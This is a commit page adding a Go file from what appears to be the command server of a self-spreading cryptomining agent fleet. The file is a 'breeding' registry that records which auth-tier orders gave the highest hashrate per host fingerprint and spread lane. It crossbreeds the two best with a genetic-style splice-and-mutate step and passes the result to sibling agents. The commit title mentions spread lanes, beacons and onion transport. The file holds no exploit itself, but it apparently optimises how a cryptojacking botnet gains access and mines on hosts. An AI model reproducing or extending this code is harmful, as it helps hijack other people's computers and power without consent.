Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
319
server/internal/strategy/breeding.go
Normal file
319
server/internal/strategy/breeding.go
Normal file
@@ -0,0 +1,319 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Auth tier-plan precedence (highest wins on agent connect):
|
||||
// 1. inherited phenotype — direct fleet winner from SQLite fleet_phenotypes
|
||||
// 2. genetic breed — crossover of two lane-specific winners for the same fingerprint
|
||||
// 3. adaptive strategy — per-host scored tier order from AdaptiveEngine
|
||||
|
||||
// LaneWinner is a spread/join-lane-specific winning path within a fingerprint bucket.
|
||||
type LaneWinner struct {
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BredPhenotype is a genetically crossbred tier order from two lane-winning parents.
|
||||
type BredPhenotype struct {
|
||||
Fingerprint string
|
||||
TierOrder []string
|
||||
ParentLanes []string
|
||||
SpreadLane string
|
||||
PeakHashrate float64
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// LaneWinnerInput is the publish payload for one lane-specific winner.
|
||||
type LaneWinnerInput struct {
|
||||
Fingerprint string
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
|
||||
type BreedingRegistry struct {
|
||||
mu sync.RWMutex
|
||||
lanes map[string]map[string]LaneWinner
|
||||
bred map[string]BredPhenotype
|
||||
}
|
||||
|
||||
func NewBreedingRegistry() *BreedingRegistry {
|
||||
return &BreedingRegistry{
|
||||
lanes: make(map[string]map[string]LaneWinner),
|
||||
bred: make(map[string]BredPhenotype),
|
||||
}
|
||||
}
|
||||
|
||||
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
|
||||
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
|
||||
fp := strings.TrimSpace(in.Fingerprint)
|
||||
lane := strings.TrimSpace(in.SpreadLane)
|
||||
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
winner := LaneWinner{
|
||||
SpreadLane: lane,
|
||||
TierOrder: append([]string(nil), in.TierOrder...),
|
||||
ActiveTier: strings.TrimSpace(in.ActiveTier),
|
||||
PeakHashrate: in.PeakHashrate,
|
||||
FailedTiers: cloneFailedSet(in.FailedTiers),
|
||||
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.lanes[fp] == nil {
|
||||
r.lanes[fp] = make(map[string]LaneWinner)
|
||||
}
|
||||
r.lanes[fp][lane] = winner
|
||||
if len(r.lanes[fp]) < 2 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
bred := breedLaneWinners(fp, r.lanes[fp])
|
||||
if len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
r.bred[fp] = bred
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// GetBred returns the latest crossbred phenotype for a fingerprint bucket.
|
||||
func (r *BreedingRegistry) GetBred(fingerprint string) (BredPhenotype, bool) {
|
||||
if r == nil {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
bred, ok := r.bred[fp]
|
||||
if !ok || len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// LaneCount returns how many distinct spread lanes are recorded for a fingerprint.
|
||||
func (r *BreedingRegistry) LaneCount(fingerprint string) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return len(r.lanes[fp])
|
||||
}
|
||||
|
||||
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
|
||||
parents := make([]LaneWinner, 0, len(lanes))
|
||||
for _, w := range lanes {
|
||||
parents = append(parents, w)
|
||||
}
|
||||
sort.Slice(parents, func(i, j int) bool {
|
||||
if parents[i].PeakHashrate == parents[j].PeakHashrate {
|
||||
return parents[i].SpreadLane < parents[j].SpreadLane
|
||||
}
|
||||
return parents[i].PeakHashrate > parents[j].PeakHashrate
|
||||
})
|
||||
if len(parents) < 2 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
a, b := parents[0], parents[1]
|
||||
order := CrossbreedTierOrders(a.TierOrder, b.TierOrder, a.FailedTiers, b.FailedTiers)
|
||||
if len(order) == 0 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
peak := a.PeakHashrate
|
||||
if b.PeakHashrate > peak {
|
||||
peak = b.PeakHashrate
|
||||
}
|
||||
return BredPhenotype{
|
||||
Fingerprint: fingerprint,
|
||||
TierOrder: order,
|
||||
ParentLanes: []string{a.SpreadLane, b.SpreadLane},
|
||||
SpreadLane: a.SpreadLane,
|
||||
PeakHashrate: peak,
|
||||
SourceAgentName: geneticBreedSourceName(a.SourceAgentName, b.SourceAgentName),
|
||||
}
|
||||
}
|
||||
|
||||
func geneticBreedSourceName(a, b string) string {
|
||||
if a != "" && b != "" && a != b {
|
||||
return "genetic_breed:" + a + "+" + b
|
||||
}
|
||||
if a != "" {
|
||||
return "genetic_breed:" + a
|
||||
}
|
||||
if b != "" {
|
||||
return "genetic_breed:" + b
|
||||
}
|
||||
return "genetic_breed"
|
||||
}
|
||||
|
||||
// CrossbreedTierOrders splices two parent tier orders at a crossover point, then
|
||||
// mutates tiers that failed on either parent by swapping in viable alternatives.
|
||||
func CrossbreedTierOrders(parentA, parentB []string, failedA, failedB map[string]bool) []string {
|
||||
a := normalizeTierList(parentA)
|
||||
b := normalizeTierList(parentB)
|
||||
if len(a) == 0 {
|
||||
return append([]string(nil), b...)
|
||||
}
|
||||
if len(b) == 0 {
|
||||
return append([]string(nil), a...)
|
||||
}
|
||||
|
||||
crossover := len(a) / 2
|
||||
if crossover == 0 {
|
||||
crossover = 1
|
||||
}
|
||||
child := append([]string(nil), a[:crossover]...)
|
||||
seen := make(map[string]bool, len(a)+len(b))
|
||||
for _, tier := range child {
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range b {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range a[crossover:] {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
|
||||
failed := unionFailedSets(failedA, failedB)
|
||||
if len(failed) == 0 {
|
||||
return child
|
||||
}
|
||||
return mutateFailedTiers(child, a, b, failed)
|
||||
}
|
||||
|
||||
func mutateFailedTiers(child, parentA, parentB []string, failed map[string]bool) []string {
|
||||
replacements := make([]string, 0, len(parentA)+len(parentB))
|
||||
seen := make(map[string]bool)
|
||||
for _, list := range [][]string{parentA, parentB} {
|
||||
for _, tier := range list {
|
||||
if failed[tier] || seen[tier] {
|
||||
continue
|
||||
}
|
||||
replacements = append(replacements, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(child))
|
||||
used := make(map[string]bool, len(child))
|
||||
repIdx := 0
|
||||
for _, tier := range child {
|
||||
if !failed[tier] {
|
||||
if !used[tier] {
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
continue
|
||||
}
|
||||
for repIdx < len(replacements) {
|
||||
candidate := replacements[repIdx]
|
||||
repIdx++
|
||||
if used[candidate] {
|
||||
continue
|
||||
}
|
||||
out = append(out, candidate)
|
||||
used[candidate] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
for _, tier := range child {
|
||||
if failed[tier] || used[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// FailedTierSet builds a set of tiers that failed in attempt telemetry.
|
||||
func FailedTierSet(attempts []TierAttempt) map[string]bool {
|
||||
out := make(map[string]bool)
|
||||
for _, a := range attempts {
|
||||
tier := strings.TrimSpace(a.Tier)
|
||||
if tier == "" || a.OK {
|
||||
continue
|
||||
}
|
||||
out[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeTierList(order []string) []string {
|
||||
out := make([]string, 0, len(order))
|
||||
seen := make(map[string]bool, len(order))
|
||||
for _, tier := range order {
|
||||
tier = strings.TrimSpace(tier)
|
||||
if tier == "" || seen[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func cloneFailedSet(in map[string]bool) map[string]bool {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(in))
|
||||
for k, v := range in {
|
||||
if v {
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func unionFailedSets(a, b map[string]bool) map[string]bool {
|
||||
if len(a) == 0 && len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := cloneFailedSet(a)
|
||||
for k, v := range b {
|
||||
if v {
|
||||
if out == nil {
|
||||
out = make(map[string]bool)
|
||||
}
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ToInherited converts a bred phenotype into an auth payload for sibling agents.
|
||||
func (b BredPhenotype) ToInherited() InheritedPhenotype {
|
||||
return InheritedPhenotype{
|
||||
SourceAgentName: b.SourceAgentName,
|
||||
Fingerprint: b.Fingerprint,
|
||||
SpreadLane: b.SpreadLane,
|
||||
TierOrder: append([]string(nil), b.TierOrder...),
|
||||
PeakHashrate: b.PeakHashrate,
|
||||
GeneticBreed: true,
|
||||
ParentLanes: append([]string(nil), b.ParentLanes...),
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user